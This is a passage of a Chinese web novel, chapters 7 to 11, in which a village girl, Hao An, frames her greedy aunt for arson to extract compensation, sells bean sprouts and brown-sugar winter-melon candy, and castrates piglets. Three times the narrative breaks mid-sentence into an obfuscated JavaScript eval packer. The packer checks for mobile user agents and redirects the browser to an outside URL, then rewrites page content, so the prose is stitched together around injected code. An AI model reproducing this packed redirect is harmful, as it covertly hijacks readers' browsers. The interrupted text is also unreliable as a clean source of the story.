“什么事先进来吧，我给大伯娘到杯茶。”好安贴心地拍了拍王翠花身上的灰尘，一副温柔乖巧的模样。 王翠花进了院子，刚关上门正要开始摆谱，就见好安立刻变了一副嘴脸，嫌弃地甩开她的手，把她仍在院子里，挎着篮子直直朝厨房走去，片刻后又两手空空的出来。 王翠花看不懂好安在干什么，但她不在乎，开门见山道：“你推了我儿子，赔钱。” “急什么。”好安走到王翠花身边，露出意味不明的笑容。 王翠花以为好安是在讨好自己，手里没有东西，想必这次是打算给钱了，脸上不禁浮现笑意，说道：“以后自觉点，每个月主动给我送点米肉过来，别老叫我上门来回跑。” 说着毫不客气地伸手朝好安怀里探去，结果还没摸到好安的衣角，好安就突然飞了出去。 原本就没关紧的院门猛然被推开，好安连滚带爬的飞出院子。 巨大的动静引得还没走远的大伙立刻重新围了上来。 好安捂着心口，从地上艰难爬起，抱住王翠花的腿，哭喊道：“大伯娘，我真的没有推堂哥。” 好安哭得一把鼻涕一把泪，手却在众人看不到的地方狠狠掐了王翠花一把。王翠花吃不住痛，抬脚就要踹人，好安反应极快，避开这一脚却也借着她抬腿的力气又飞了出去。 这一脚在外人眼里踹得结结实实。 “怎么能踹人呢？” “好安身体刚好，你一个长辈怎么能这样。” “这都踹了两次了吧。” 不少人涌上前扶起好安，好安却不顾众人议论，对着王翠花哀求道：“大伯娘说什么就是什么，想拿什么就拿什么吧，只求大伯娘给我们姐弟俩留一块栖身之地。”说着就要跪下。 “你这死丫头瞎说什么呢？” 向来只有她冤枉别人的份，哪有别人冤枉她的份。 王翠花瞬间变色，死死盯着好安，张牙舞爪地扑来。 “啪”。一个火折子突然从王翠花袖子里掉出来。 王翠花占便宜多年习惯了，她迅速踩住火折子道：“我的。” “快看！厨房走水了。” 此刻，一股浓烟从厨房冒出。众人不用提醒立刻联想到刚刚从王翠花手里掉落的火折子。 “王翠花放火啦！” 好安家顿时乱成一团。 有人见事情严重了，连忙跑去喊了村长。 “不是我！不是我！”王翠花一个劲的大喊，可大家都忙着救火，没有人空搭理她，也没人相信她，大家都相信自己眼睛看到的。 “一定是好安搞的鬼，我要打死她。” 王翠花咬着一排参差不齐的牙，在院里寻找好安，如一头饿极了的野狼，在寻找它的猎物。 “你想干嘛？” 王翠花被一位婶子拉住。 “我要打死那个小贱胚。” 王翠花正气得两眼泛红时，一道不可置信的男声从院外传来。 “王翠花，你要打死谁？” 8. 第一桶金 第八章 村长来得很是时候，院子里刚救完火，一片狼藉。王翠花说的话也听得一字不落。 要说村子里王翠花最怕谁，村长绝对站第一。 村长为人虽偶有老派，但处事公平，大家都很信服，在村里的地位很高。 “我没说，我没说。”王翠花万万没想到村长会来，连忙摇头否认。 王翠花什么名声，大家一清二楚，村长根本不想听她解释，指着厨房怒道：“谁放的火。” “她。” “王翠花。” 众人一致指向王翠花。 “不是我！”王翠花这次是真的气了，一屁股坐在地上撒泼打滚。 “怎么不是你。” “火折子就是从你袖子里掉出来，我们都看见了。” “你不是也说了火折子是你的嘛。” 好安此时也捂着胸口，神色煞白，泪仿佛不要钱似的，哗啦啦地掉。 “大伯娘，屋里就我们两人。不是你难道是我吗？”说着，还因为哭得太投入，打了个哭嗝。 “就是你，就是你。”王翠花气急败坏，转身就要抓好安的头发。 “好了。你说不是你？那你来好安家干什么？”村长问道。 所有人都指认王翠花，再说好安好好地烧自己家干什么，村长心里已经有了决断。 众人别的不清楚，这个可听了几十遍，都不用王翠花张嘴，七嘴八舌道。 “要钱。” “占便宜。” “打秋风。” “敲竹杠。” “好安你来说。”村长道。 “大伯娘说我之前推了堂哥，要赔钱……”好安话还没说完，王翠花插嘴，理所当然道：“这不应该的吗？她推了我儿子凭什么不赔钱。” 好安一愣，差点气笑了。 她一直以为王翠花只是以这个为借口来要钱，没想到她是真心认为她应该赔钱。 “我没推，是堂哥推的我。”好安委屈地抹了一把眼泪。 众人立刻想起之前好来婶说她亲眼看见是好方动的手，而且这件事当场不止好来婶一人，不少人都看见了，现场就有几个，于是纷纷站出来说道:“我们都看见啦，好方想要好安手里的砍刀，好安没给，好方就动手推的。” “只有这一件事吗？”村长眉头微皱。 “还……有……”好安怯懦懦地看向王翠花，说话支支吾吾。 “安安放心说。说出来我给你做主。”村长见好安惴惴不安的模样，看向王翠花的眼神又多了几分厌恶。 “大伯娘说我们家没有男人，让我以后每个月都要给她送一斗白米，隔月还要送一条肉，没有米肉就拿钱抵。不然，她就要像今天这样，烧了我家的房子，让我和好昕无家可归。”说着，好安又挤出几滴眼泪，削瘦的肩膀瑟瑟发抖。 “我没有。”王翠花气得在地上甩胳膊蹬腿。 “怎么没有，罗大娘没死的时候，你哪个月不是拿米拿肉的。我都瞧见了。”隔壁邻居刘三嫂看不过去了，跳出来说道。 “又没拿你家的，要你管。”王翠花猛淬了刘三嫂一口。 “这么说，你拿了？”村长侧头看向王翠花。 “他们家男人没了，大山又是哥哥，以后他家遇到什么事不还得大山来帮他们出头。我收他们一点东西不过分吧。”面对村长，王翠花立刻变了神色，谄媚说道。 没否认，便是承认拿了。 “你还知道好大山是哥哥，是长辈啊。好安是他亲侄女，好昕是他亲侄子，虽然分家了，但一笔写不出两个好字。亲戚邻里之间帮个忙还收钱啊。他好大山怎么好意思的？衙门里的青天大老爷判案都没收钱，你王翠花倒是先收起来了。” “再说了这几年你帮他家出什么头了？还是你帮他家什么忙了？他家收麦插秧的时候也没瞧见你人影啊。”村长哼了一声，说道：“还一个月一斗白米，隔月一条肉？我看你是觉得他家没个男人好欺负。” “不是的村长，我是真的想帮他们。”王翠花连连摆手。 “那你说说你帮他家什么了？” “我……”王翠花结巴了半天，说不出一件事来。村长也等的不耐烦了，说道：“让你说你又说不出来，我看你这米啊肉的别想了，而且吃了的也赶紧吐出来。” “别。”王翠花一听要让她朝外掏东西立马慌了神。 “好大河失踪也有四年了吧，这四年里拿了好安家多少东西就赶紧还回来！”说着也不管王翠花怎么闹腾，直接说道：“就按白米一月一斗算吧。” “肉嘛。”村长想了想：“你家今年过年不是要杀猪吗，分一个后腿给好安家。” 说完，村长看向好安，和声问道：“安安觉得如何？” 好安擦了擦眼泪，掩下眼中的一丝激动，点点头道：“都听村长的。” 这里一亩地刨去苛税一年收成大概两石。 王翠花每次拿的量其实不足一斗，而且最近一年因为孝期，没怎么上门。 一月一斗白米，至少是两亩地的收成，再加上一个猪后腿，她赚了。 好安赚了，王翠花就接受不了，扭曲地爬到村长脚边，抱着他的大腿，尖叫道：“村长没有这么多啊。” 村长今天刚换了一身新衣服，王翠花不知在地上扑腾过多少回，一动身上的泥就像雪花一样纷纷扬扬。绀色的长衫上落下一连串的手掌印。 “一个月一个月的拿当然看不出什么，累积起来不就多了。”村长嫌弃，想挣开王翠花，奈何她抱得太死，甩不开。 “松开。”村长一边拽着外杉，一边拔腿说道。 “村长，这是要我们一家死啊。” “怎么要你家死了？你家十几亩地，够你赔的。” “我……”王翠花还想狡辩，结果被村长一眼瞪了回去，但人还是赖在地上不肯起来。 “王翠花你再不起来我们就去报官喽。”不知是谁喊了一句：“烧毁他人房屋可是要进牢房的。” 牢房两字让王翠花吓得一个激灵，可嘴上依旧不服道：“你瞎放。” “不信你问问你儿子。” 好方不知什么时候来了，站在人群后面，躲躲闪闪，但还是被眼尖的人看见了。 王翠花用眼神询问，见好方点头这才不情愿地站起来。 事情一直拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950788|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到晚上，王翠花死活不认烧房子的事。 但围观的人太多，都说是王翠花放的火，而且理由充分，她不认也没用。 最后族老的调停下，烧房子这件事好安就不报官了，但要赔偿不能少。 除了猪要等过年杀，其他的必须当天赔。 王翠花当年从好安家拿的白米都新米，但现在不管新米陈米，她一时拿不出这么多，给不了。 给不了白米，那就给银子。 米价这几年有几文钱的波动，就不细细计算哪一年米价多少，统一按照一斗五十文算，一石五百文来算。一共是两千四百文。 还有房子烧毁的部分，因为火灭的及时，没烧太多，赔偿一百文。 还有之前被好方推倒磕到头的药钱。 加起来一共三两银子。 好安脸上一副吃亏的模样，心里却双手赞同这个方案。 白米给她也吃不完，她还要想办法卖出去。虽然少个几十文钱，但银子胜在灵活方便。 厨房本来就没啥值钱的东西。被烧坏的主要是一些柴火和厨房的窗户，这也是好安提前算好的。 厨房的窗框有些地方都裂开，关的时候十分费劲，好安早就想换了。 算下来可以说只是浪费了一些柴火。 王翠花原本还想把猪后腿改成猪前腿的，好安没同意。 后腿上的肥肉比前腿多，古代肥肉可是油，她可不傻，要想换就拿钱补上，王翠花没舍得。 看热闹的众人散去。好安正要关门，但王翠花憋了一肚子的气还没撒。 她见四周没什么人，跳起来就朝好安冲去“我挠死你个贱人。” 但半路被好方一把拉住。 “娘，大家就在前面呢，太丢脸了。”好方长这么大，第一次丢这么大的脸。 平日里他娘出去撒泼他从不过问，反正被议论的又不是他。 可这次不同，连累了他被人指指点点，众人一道道明里暗里的眼神，像是一块块石头，压得他抬不起头。 丢脸，太丢脸。 “丢什么脸。都是这个小贱人，自己烧了房子赖给我。不然今天也不会这样。”王翠花恶狠狠地瞪着好安，眼神如刀，像是要刮块肉下来：“你个小贱人，平时看着不吭声，其实一肚子坏水。” 好安得了钱心情大好，才不在乎耳边是什么东西在乱叫，说道：“我哥小贱人？一肚子坏水？没记错的话，我好像就好方一个哥哥吧。既然亲娘都说亲儿子贱，那他就贱吧，说不定是言传身教呢。” 好安对好方可没什么好印象，原身的死和他脱不了干系。 听到好安骂自己，好方居然没什么反应，在旁边一声不吭，整个脸阴着，拉住王翠花沉默地往前走。 “小贱蹄子你骂谁呢？”王翠花不依不饶。 “我骂人了吗？这不是你说的吗？”好安随手摘了门口的一朵野花插在头上，灿烂笑道：“大伯娘与其这在浪费精力，不如回家赶紧洗洗睡吧，说不定梦里还能见这三两银子的最后一面呢。” 说完好安干脆利落的关上院门，不管王翠花在外面如何嘶嚎。 这不，她的第一桶金有了。 9. 冬瓜糖 第九章 好村五天一小集，十天一大集。 好安为了下次的大集，准备了不少东西。 四十捆黄豆芽、四十捆绿豆芽、还有二十捆花生芽。 豆芽还是老价格，花生芽就不一样了。 花生的价格是黄豆的两倍六文，而且发出来花生芽也少。 好安斟酌再三决定每捆花生芽绑四两，定价两文钱。 除了这些，好安还准备了冬瓜糖。 好来婶送来的冬瓜全被她炒成了冬瓜糖。 好安逛遍了县城没发现一家卖白糖的，只好拿红糖代替。 原本应该青绿色的冬瓜糖变成棕色，不如白糖的清爽，但味道还是不错的，甜甜软软，口感绵密。 定价方面，好安决定效仿那些卖饴糖的。 一文钱一根，主打薄利多销。 好安一到集市，之前买过的人立刻围了上去。 “安安，给我两捆绿豆芽。” “我要一捆黄豆芽，两捆绿豆芽。” 夏天一天比一天热，绿豆芽清脆爽口，受极喜爱。没吃过的人见大家都抢着买便好奇问道：“这个好吃吗？” “好吃。回去焯水凉拌，我孙子能多吃一碗饭呢。” “那我也要两捆。” 周娟今天是特意来买豆芽的。 上次她只买了一捆，看着不少，但放锅里一炒就没啥了。 饭菜上桌，一盘新菜自然而然的吸引了全家的注意力。 “这什么菜？”周母点了点盘子问道。 “绿豆芽。”周娟如实回答：“我看好多人买才买的。” 周家虽然是周娟负责买菜，但买什么几乎是周母定好的。 周娟是看绿豆芽一捆有好多，而且只要一文钱，就自己做主买了一份。 “都在这了？” 周娟点点头，没说话，心里却有点后悔，早知道不如买黄豆芽了，炒起来应该比这个实在多了。 “吃饭吧。” 周娟见周母没说别的，赶紧夹一筷子尝了尝。 果然如好安所说，口感清爽。 周家一共五口人，一盘绿豆芽几筷子便没了。 周母看着最先空掉的盘子问道：“这菜多少钱？” “一文钱。” “不贵，下次看见了就多买点。” “好。”周娟舔了舔嘴唇，夏天这绿豆芽吃着确实舒服。 “我要十捆。”周娟一瞄到好安就立刻走了过去，把提前数好的铜板放在桌上。 她都算好了，等到下次集市还要五天。一天炒两捆，十捆刚刚好。 好安提醒道：“天越来越热，这个只能放三天。” “就三天？”周娟皱眉，不由说道：“可我每天都想吃啊。” “你可以买三天的量，吃完了再去我家买。”好安说着指了指自家的方向道：“我家每天都有新鲜的。” “行，那这次我就要六捆。” 好安见这个姑娘一出手就是十捆，把十文钱硬生生花出了阔绰之感，便提了提花生芽。 “我这次还带了新品，花生芽和冬瓜糖要来点不？”好安拍了拍白嫩嫩的花生芽道：“这个比绿豆芽更爽脆，还有一丝丝甜，保证好吃。” “多少钱？” 桌子上根根直挺的花生芽怪招人喜欢的。 “一捆两文。要来一捆吗？” 一捆花生芽斤重本来就少，再加上花生芽看着轻拿着重，看起来可比一捆豆芽少太多。周娟面露犹豫。 好安接着说道：“回家烫一下，随便怎么炒都又脆又好吃。能当主菜也能当配菜。只要两文钱。” 只要两文钱！周娟心动。 她家绿豆芽好吃，花生芽也一定不差。周娟心里不知为何升起这个想法。 周娟心一定，说道：“拿一捆。” “那就找你两文。”好安数了两文钱递过去，开始吆喝：“冬瓜糖，冬瓜糖，一文钱一个，又大又甜。” 冬瓜糖的块头比饴糖大多了，每一根都有小孩子的手指大。不少带着孩子来买菜的人都愿意捎上几根。 反正都是糖，给孩子过嘴瘾，一样的价格当然要挑大的买。 冬瓜糖的篮子就在周娟眼皮子底下，眼珠子都不用挪，周娟就能看见深褐色的糖块，带着隐约的清透感。 边缘厚厚的糖霜裹在冬瓜肉上，看着就能想象出浓浓甜味。 “再拿两个冬瓜糖。”周娟经不住诱惑，刚拿到手的两文钱又花了出去。 一拿到糖，周娟就迫不及待的把糖塞进嘴里，根本舍不得嚼，慢慢化着。 是红糖！ 周娟一口便偿出了不同。 红糖贵，还容易受潮。不管是县城的铺子，还是走街串巷巷的货郎都不爱散卖。一盒或者一块装好的红糖，随随便便就要六七十文。 她上次喝到红糖还是姐姐生孩子的时候蹭到一口。 周娟毫不犹豫的转身回到好安的摊子前，道：“我再来十根。” 只不过这十文钱是她的私房钱。 一口气买十根，目前还是很少见的，大部分都是一根两根买来哄孩子的。 周围人笑道：“十根也不怕吃坏牙。” 周娟毫不在乎，说道：“这可是红糖做的。我当然要多买些。” “一文钱一根，怎么可能是红糖做的？”周围人明显不相信。 不等好安开口，周娟便说道：“你买一根尝尝不就知道了。” 不少人上前询问好安，也有人选择直接买上一根先尝尝。 “是红糖。”好安买红糖的时候直接按斤买，并不知道红糖不散卖。她不明所以的看着一拥而上的人，说道：“除了红糖还有冬瓜。” 好安不知道大伙为什么突然对冬瓜糖来了兴趣，但嘴上还在本能的介绍着。 “冬瓜糖容易回潮，会越放越甜。要来点不？” “我来五个。” “我要十个。” 虽然不是逢年过节，但家家户户走邻访友，招待客人的时候拿有红糖的东西招待倍有面。 很快，四百多个冬瓜糖稀里糊涂的卖了大半。 日头还长，好安拢了拢剩下的几捆花生芽，准备继续吆喝，只见田桂慌慌张张地跑来。 “我在村头看见张婶和他儿子啦。”田桂上气不接下气道：“好像是冲着你家去的。” 好安挠了挠头，她把张婶这事给忘了。 算了算日子，离张婶上次去她家刚好过了二十天。 二人对视一眼，看来摊子是摆不下去。 好安家靠近村尾，张婶还带着她儿子，脚步自然不如好安和田桂麻利。 好安把院子里轻便的东西都收回屋内，院子里只留一个桌子和两条板凳。 田桂前脚刚走，张婶后脚而至，说话语气还是和以前一样，一副理所当然的调调。 “姑娘找了吗？” “找了。”好安请他们二人坐下。 鉴于张婶有摔东西的前科，奉茶这步直接跳过。 “从村头到村尾的姑娘我帮你都打听过了。还真发现一个不错的。” 张婶眼睛一亮，但面上不显，说道：“那我就看看吧。” “看看行，但我们村还有几个姑娘你也是知道的。我娘之前已经给你介绍了不少。十个姑娘里，七八个你都看过吧。这回的是最后一个了。看完这个姑娘我们就两清，如何？” “这才哪……”张婶顿时面露不悦，却被好安打住。 “这个姑娘识字。” “识字？”张婶眼珠子转了转。 好村能识字的姑娘就那几个，村长家的二妞，好秀才的妹妹，还是…… 张婶心里在飞快估摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950789|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着到底是谁家的姑娘。 “怎么样？识字的姑娘呦，我可是下了心思的。” “你要是不想两清也行。那我们识字的这个就不看了。”好安盯着张婶的神色，张嘴就扯：“我还认识几个的寡妇，也是好人家，要不带你去……” “不。”张婶一口拒绝，有姑娘谁还想看寡妇，更别说识字的姑娘。 “两清就两清。” “你说的哦。” 张婶还沉浸在儿子能被识字姑娘看上的喜悦中，浑然没发现好安欣欣然起身。 “此人好啊，肤白貌美大长腿，纤肢细腰长得美。”好安边说，边抬起一条腿踩在条凳上，一手顺着腰线慢慢滑向小腿。 “这个人呢，就是我。” “好。” 张婶见好安嘴巴动了动，还没听情她说了什么便一口答应下来。 她已经想好了，这几个识字的姑娘不管是谁，她都同意。 话还没过脑子，等张婶看到好安朝自己抛了个媚眼，才反应过来，她娘的，她忘记眼前这个天煞的也识字了。 “你说啥！”张婶弹起，尖声问道。 “我呀。”好安说着又朝张婶儿子抛了媚眼：“识字还长得美。” 张婶的儿子傻呵呵的看着好安，说道：“嘿嘿，长得美。” “美什么美！我看你是想得美。”张婶一把拉过儿子，把他挡在身后，像是母鸡护小鸡一样，生怕好安多看他儿子一眼。 “你儿子说的呀。”好安拨了拨头发，举止间尽显妩媚：“看来你儿子对我很满意。” “嘿嘿，很满意。” “满意个屁。”张婶冲上前就想扯好安的头发：“以前怎么没发现你是个狐媚子呢？我让你勾引我儿子。” 好安一侧身躲过张婶的爪子，说道：“怎么能叫勾引呢？” “你找我给儿子你介绍姑娘，我介绍了呀。现在这两人现在看对眼了，是两情相悦，好事呀。再说你不是同意了吗？” “你哪只耳朵听到我同意了？”张婶坚决不承认自己说过啥，膀子抡到最大，“你个克母克夫的玩意还想踏进我家大门。” 好安就像个滑不溜秋的泥鳅，回回躲过张婶的尖爪。张婶满院子追着跑都碰不到她一点衣角。 本来已经够累了，偏偏张婶的儿子以为她俩在捉迷藏，也加了进来。 有了他的加入，张婶有时候连好安的衣角都看不清。 “张婶，你都不介意村里说我傻，怎么还介意我克夫呢。”好安说道：“克母你更别担心。我和你儿子拜高堂的时候你别坐那，我不拜你，我也不喊你娘，这样绝对克不到你。我努力努力，争取让你三年抱俩，就是不知道你儿子命硬不硬，能不能熬到那时候。” “你休想！”张婶气得直跺脚，再回头一看儿子，正直勾勾盯着好安傻笑呢。 “我不要你介绍了，我们两清。”张婶看着她儿子恨铁不成钢道。 这个地方她一刻也待不下去了。 “两清啊。”好安蹲在凳子上，语气中透露着一丝不舍。 张婶看也不看好安，直奔院门，想要离开。 但门不知被好安用了什么方法，门闩怎么都抽不开。 “三文。”好安突然串到张婶身边，伸手就是要钱。 “我给过你娘钱了。” “是上次打碎碗的钱。三文。” “一个破碗怎么就三文了。”张婶盯着好安。 好安看出她不想掏钱的想法，便作势就要去摸她儿子的手，说道：“我娘好像告诉过你家地址，就在……” “我给。”张婶连忙打断好安的话，她是真怕这个天煞的玩意摸去她家。 见了钱，好安这才打开院门。 被张婶这么一闹腾，好安也不准备再去摆摊。 她来这二十多天了，还没好好逛过集市呢。 10. 谯猪 第十章 好安去集市一是了解这里的饮食，二是想看看有没有她感兴趣的东西。 谁曾想刚走几步就有人拦住她。 “安安，豆芽还有吗？” 好安认识这个人——牛婶，她儿子和好昕是同学也是好朋友。 “今天的没了，但明天有。” “明天的也行，我要两捆绿豆芽。”牛婶说着塞给好安两文钱，“明早去你家拿，刚好中午回去炒。” “行，我记着。”好安把钱放进荷包，心想：以后生意都能这样送上门来该多好啊。 集市上交换的大部分是村民的日常所需，土豆、红薯、玉米一些她以为不会有的舶来物没想到都有。好安连忙每样买了些。 家里的菜园开好了，有种子的连种子便也顺带一起买了。 除了作物还有活物。鸡、鸭、羊、牛皆有。 一头公牛五两银子，母牛六两，价格还算公道。 好安家没有地要种，但她还是打算买上一头。她和好昕都在长身体，急需补钙。 可上前一问才知道，这些牛都要提前预定，付了定金牛贩子才会把牛带来。 牛贩子一般会多带一头，给大家挑挑，但这次多带那只是公的，好安想要的是母牛。 好安只能先付定金，但村里也不是经常有人买牛，牛贩子下次再来要三个月后。 不等也得等，不然就要去县里买，价格贵不少呢。 ———— 第二日，好安早早准备好豆芽，快到中午也不见牛婶身影。 这是忘了？ 于是好安拎着两捆豆芽决定给牛婶家送去。 牛婶住在村子的最东边，和好安家一样紧挨着山脚，但和好安家后面的小斜坡不一样，牛婶家后面是密林。 “牛婶。”好安敲了敲门。 小院静悄悄的，像是没有人。 “牛大叔？牛婶？”好安见没人答应，又喊了两三声。 “谁呀？”院内传来低低的声音。 “是我，好安。” “安安啊，进来坐。”牛婶推开院门。 好安注意到牛婶的嗓子有些沙哑，眼睛也红彤彤的。 刚想问，好安便发现院子里乱七八糟，篱笆豁了一大块，地里的菜被踩得稀烂，架子东倒西歪，像是被打劫过一样。 “牛婶，你们家是怎么了？” “唉，家里遭野猪了。”牛婶擦了擦眼眶下的泪痕道：“你先坐，我给你到杯水。” 好安环顾一圈，没看见牛大叔和大牛的身影，再结合牛婶的伤心模样，心里不禁忐忑起来。这几天她恶补了不少常识，每年庄稼成熟，野猪就喜欢下山，不费劲就可以吃饱，有时候还会伤人。 “家里其他人呢？” 不说还好，一说牛婶的眼泪就止不住似的哗哗掉。 牛婶：“他们，他们，呜——” 好安瞬间意识到自己说错了话，一时有点不知所措。 “婶。”好安扶着哭得上气不接下气的牛婶慢慢坐下，安慰的话在好安的喉咙里打转，不知如何出口。 “天灾人祸，难免的。” 牛婶抓着好安的胳膊，边哭边点头，“我知道的，可就是，呜——” “牛大叔和大牛肯定希望婶能好好的。” “我怎么能好好的，哇——”牛婶一听便控制不住地大哭起来：“我的猪啊——今年年底就能出栏了，天杀的野猪啊——” 好安：“？” “安安你不知道哇，才五十斤就被咬死了——”牛婶哭到岔气，又急急地喘了几口，继续道：“我养了大半年啊——” 这年头猪还是很值钱的，一斤猪肉能卖到二三十文钱，一头猪养的好能有八十斤。 可瞧着牛婶伤心的劲，好安不大确定是不是只有猪出事了，只能小心翼翼地问道：“那牛大叔和大牛呢？” 牛婶吸了一口气，说道：“有两头猪活不了了，拉县里去看看有没有人收。”说着，牛婶又忍不住哭了起来，“我家就只剩一个猪崽了，呜——” 人没事，好安松了一口气，拍着牛婶的背，说道：“还剩一个呢，大难不死，必能长肥。” 好安话音刚落，屋后猪圈就传来一声猪叫。 “我的猪！”牛婶一下子跳了起来。 现在唯一的猪崽就是牛婶的心头肉。 好安连忙跟着牛婶来到后院，只见一个棕色猪影嗖一下从猪圈里跳了出来，迅速消失不见。而仅剩的一独苗缩在角落里瑟瑟发抖，身下渗着血。 “天杀的啊。”牛婶气得差点没站稳。 好安上前一步劝慰道：“抱出来看看吧，说不定伤得不重呢。” “对对对。”牛婶反应过来立马小心地抱起猪崽，放到干净的空地上。 猪崽下半身带血，粘了不少污秽，躺在地上小声哼唧。 牛婶擦了擦，长叹一声：“都不大叫了，估计也不行了。” 好安觉得不一定，猪崽身上除了后腿间豁了个口，其他地方没有伤口，便说道：“村里有兽医吗？带去瞧瞧，说不定还能救。” “兽医是啥？”牛婶没听懂。 “就是给牛啊猪啊看病的。”好安连忙解释道。 “这个田桂她娘就会，但她娘这几天不在。”牛婶说着叹了口气，越发觉得猪崽没救了。 “那——我们自己先上点药。” “可我家没有给猪用的药。” “人用的也行。人能用，猪肯定也能用。” 给猪用人的药，牛婶有些犹豫，“真能吗？” “试试看，万一有用呢。” “也是。”牛婶想了想，反正猪崽现在半死不活的，万一行呢。 于是牛婶拿来药膏，涂了一点上去。 “这猪没劁。” “敲？” “就是把这个摘了。”好安指着豁口处露出来的球球球说道：“摘了这个更容易长肉。” “这摘了还能活？”牛婶一脸惊讶。 “正常能，但这个就算不摘也快掉出来了，掉出来的话容易感染，就是容易——引邪气入体。” 深红色的球挂在豁口处，悬悬欲坠。 牛婶看了看觉得是这么个道理，“可我不会啊。” “要不我来试试？”好安蠢蠢欲动。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950790|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前去过朋友的猪场，在那学了劁猪，而且劁过的土猪味道才好。 “你一个未出阁的姑娘怎么能干这事！”牛婶不同意。 “婶子不说不就行了吗，”好安挥了挥手，毫不在意道：“干这个手要快准狠，我手可稳了。” 好安见牛婶面露犹豫，便开始歪理道：“我们不说就没人知道，没人知道我不就是没做过嘛。”最终好安连哄带骗的让牛婶给她拿了把小刀。 猪崽躺在地上不停地发抖，像是还没从阴影里走出来。它不知道的是更阴影的事情即将发生。 好安将刀在开水里滚了滚，伸手在猪崽后腿处摸了摸，心里便有数了。 她先一刀切了要掉出来的那个，再捏住皮下另一个，另一只手拿起刀，刀尖抵着皮肉，轻轻往下一划。挤，拽，切，一套动作干脆利落，行云流水。 猪崽不知道是不是疼麻木了，只是哼唧了两声，但黑豆般的眼睛里闪过一丝水光。 好安伸手戳了戳猪头，“这猪好像反应迟钝。” “应该是吓到了，还没反应过来。”牛婶赶紧给猪又上了一次药。 包扎完的猪崽好像知道自己安全了，渐渐稍有生气，牛婶见状心里安定了不少，拉着好安就要留饭。 牛婶家里刚遭了灾，食物本就不剩多少，好安也不好意思因为这种顺手的事情就留下用饭，变借着家里还有事，放下绿豆芽就回去了。 怪不得来这里后吃的猪肉都有点骚味，原来是因为没劁。 村里养猪最多的是田桂家。 她爹做纸活生意，她娘养猪，杀猪。两口子各有各的事业。 但她家的猪大部分都是供给县里的酒楼，只有过年有多的才会在村里卖。 不知道她家猪劁没劁。 于是吃完午饭，好安又去了田桂家。 田桂家的猪也没劁，看来这里的人没有谯猪的意识。 居然没人吃过没骚气的猪肉，拉好安赶紧拉着田桂狠狠安利。 谯过的猪香不香田桂不知道，但劁过的猪长肉更快，田桂心动了。 “我们今天就劁。”田桂没有丝毫的犹豫就做出选择，转身回房拿出一把小刀，一瓶伤药，甚至还有一瓶药酒。 好安见田桂动作之快一时反而有点不确定。 “现在？” “对啊，不是说要趁猪小的时候劁嘛。延一天，猪就老一天。”田桂已经开始烧水，准备烫刀，“而且我觉得你说得对。劁了就没了杂念，这样才能专心长肉。” “不要和你娘商量商量？” “不用，就是要趁我娘不在的时候干，她万一不同意呢。” “不同意你还敢？” “不同意归不同意，但我已经劁了啊。再说那玩意在肉里，我娘说不定都发现不了。” “你，这个。”好安冲着田桂竖起大拇指。 她发现这姑娘平日里总是把“她娘说，她娘说”挂嘴上，看着像个事事听娘的乖宝宝，没想到居然是个逆子。 “来。”田桂倒拎着猪，把刀塞给好安。 好安也不犹豫，下手快准狠。二人不到一炷香的时间就把十二头公猪全都劁了。 11. 冰粉 第十一章 经过两次的集市售卖，豆芽在村里有了名气。 尤其绿豆芽，多的时候一天能卖出去一二十捆，少的话也有五六捆，因此绿豆的库存肉眼可见的下降。 好安看看还有大半罐的绿豆决定去县里再买一点，不然等入了三伏天只会越来越贵。 好村算是条件不错的村子，村里不少人家都有牛车。 谁要是想去县里，很容易找到顺路的。搭车的人来回给个一文钱就行。 好安吃完早饭便背着个竹筐去村口等着了。 由于出发的早，好安到县里时早市还没散。 街上买东西的买东西，吃早点的吃早点，熙熙攘攘的人群里透着祥和安宁。 好安决定先逛逛，再去买东西。 “大家快来看看啊，这里有个人卖假货！”一道洪亮的声音从街上的犄角旮旯里传来。 卖假货？ 一句话如水入油锅，顿时四溅起来，周围立马有人围了过去。 有的人想看是什么假货，有的人想看是谁在卖假货。好安恰巧就在附近也顺着人流挤了过去。 “我没有！”一位面大鼻宽的汉子涨红了脸，操着一口浓浓的外地话不停地解释道：“我说了这是灯笼草，没说是灯笼果，是你自己不听。” “什么草不草，果不果的，灯笼草结的果不就是灯笼果嘛。”一位大娘扬声道：“大伙来评评理，找个果子长得像灯笼的就来冒充灯笼果，这不是骗子是什么。” “骗子。” “心眼子真多。” “拿假果子冒充，你这人也就看着老实。” “不是。我家乡这个就叫灯笼草，可以去热退火的，和你说的那个灯笼果不是一回事。”汉子口音难懂，只能手忙脚乱地比划着，见大家都没心思听他说啥，整个人急得快要跳起来。 “大伙看看啊，假货。”大娘站在正中央，把灯笼草举得高高的。 